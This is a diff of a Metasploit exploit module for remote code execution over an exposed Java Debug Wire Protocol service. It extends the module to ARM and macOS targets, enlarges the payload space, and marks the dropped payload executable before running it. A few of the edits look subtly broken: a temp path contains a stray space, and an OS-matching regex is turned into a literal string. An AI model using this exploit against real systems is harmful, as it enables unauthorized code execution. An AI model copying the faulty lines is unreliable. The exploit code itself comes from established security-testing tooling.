@@ -91,31 +91,19 @@ def initialize
91
91
[ 'URL' , 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse' ] ,
92
92
[ 'URL' , 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html' ]
93
93
] ,
94
- 'Platform' => %w{ linux win osx } ,
95
- 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
94
+ 'Platform' => %w{ linux osx win } ,
95
+ 'Arch' => [ ARCH_ARMLE , ARCH_AARCH64 , ARCH_X86 , ARCH_X64 ] ,
96
96
'Payload' =>
97
97
{
98
- 'Space' => 2048 ,
98
+ 'Space' => 10000000 ,
99
99
'BadChars' => '' ,
100
100
'DisableNops' => true
101
101
} ,
102
102
'Targets' =>
103
103
[
104
- [ 'Linux (Native Payload)' ,
105
- {
106
- 'Platform' => 'linux'
107
- }
108
- ] ,
109
- [ 'macOS (Native Payload)' ,
110
- {
111
- 'Platform' => 'osx'
112
- }
113
- ] ,
114
- [ 'Windows (Native Payload)' ,
115
- {
116
- 'Platform' => 'win'
117
- }
118
- ]
104
+ [ 'Linux (Native Payload)' , { 'Platform' => 'linux' } ] ,
105
+ [ 'OSX (Native Payload)' , { 'Platform' => 'osx' } ] ,
106
+ [ 'Windows (Native Payload)' , { 'Platform' => 'win' } ]
119
107
] ,
120
108
'DefaultTarget' => 0 ,
121
109
'License' => MSF_LICENSE ,
@@ -686,14 +674,14 @@ def setup_payload
686
674
path = temp_path || '/tmp/'
687
675
payload_exe = "#{ path } #{ payload_exe } "
688
676
when 'osx'
689
- path = temp_path || '/tmp/'
677
+ path = temp_path || '/private/ tmp/'
690
678
payload_exe = "#{ path } #{ payload_exe } "
691
679
when 'win'
692
680
path = temp_path || './'
693
681
payload_exe = "#{ path } #{ payload_exe } .exe"
694
682
end
695
683
696
- if @os . downcase =~ target [ 'Platform' ]
684
+ if @os . downcase =~ / target['Platform']/
697
685
print_warning ( "#{ @os } system detected but using #{ target [ 'Platform' ] } target..." )
698
686
end
699
687
@@ -898,7 +886,7 @@ def exec_payload(thread_id)
898
886
close_file ( thread_id , file )
899
887
900
888
# 5b. When linux arch, give execution permissions to file
901
- if target [ 'Platform' ] == 'linux'
889
+ if target [ 'Platform' ] == 'linux' || target [ 'Platform' ] == 'osx'
902
890
cmd = "chmod +x #{ payload_exe } "
903
891
execute_command ( thread_id , cmd )
904
892
end
0 commit comments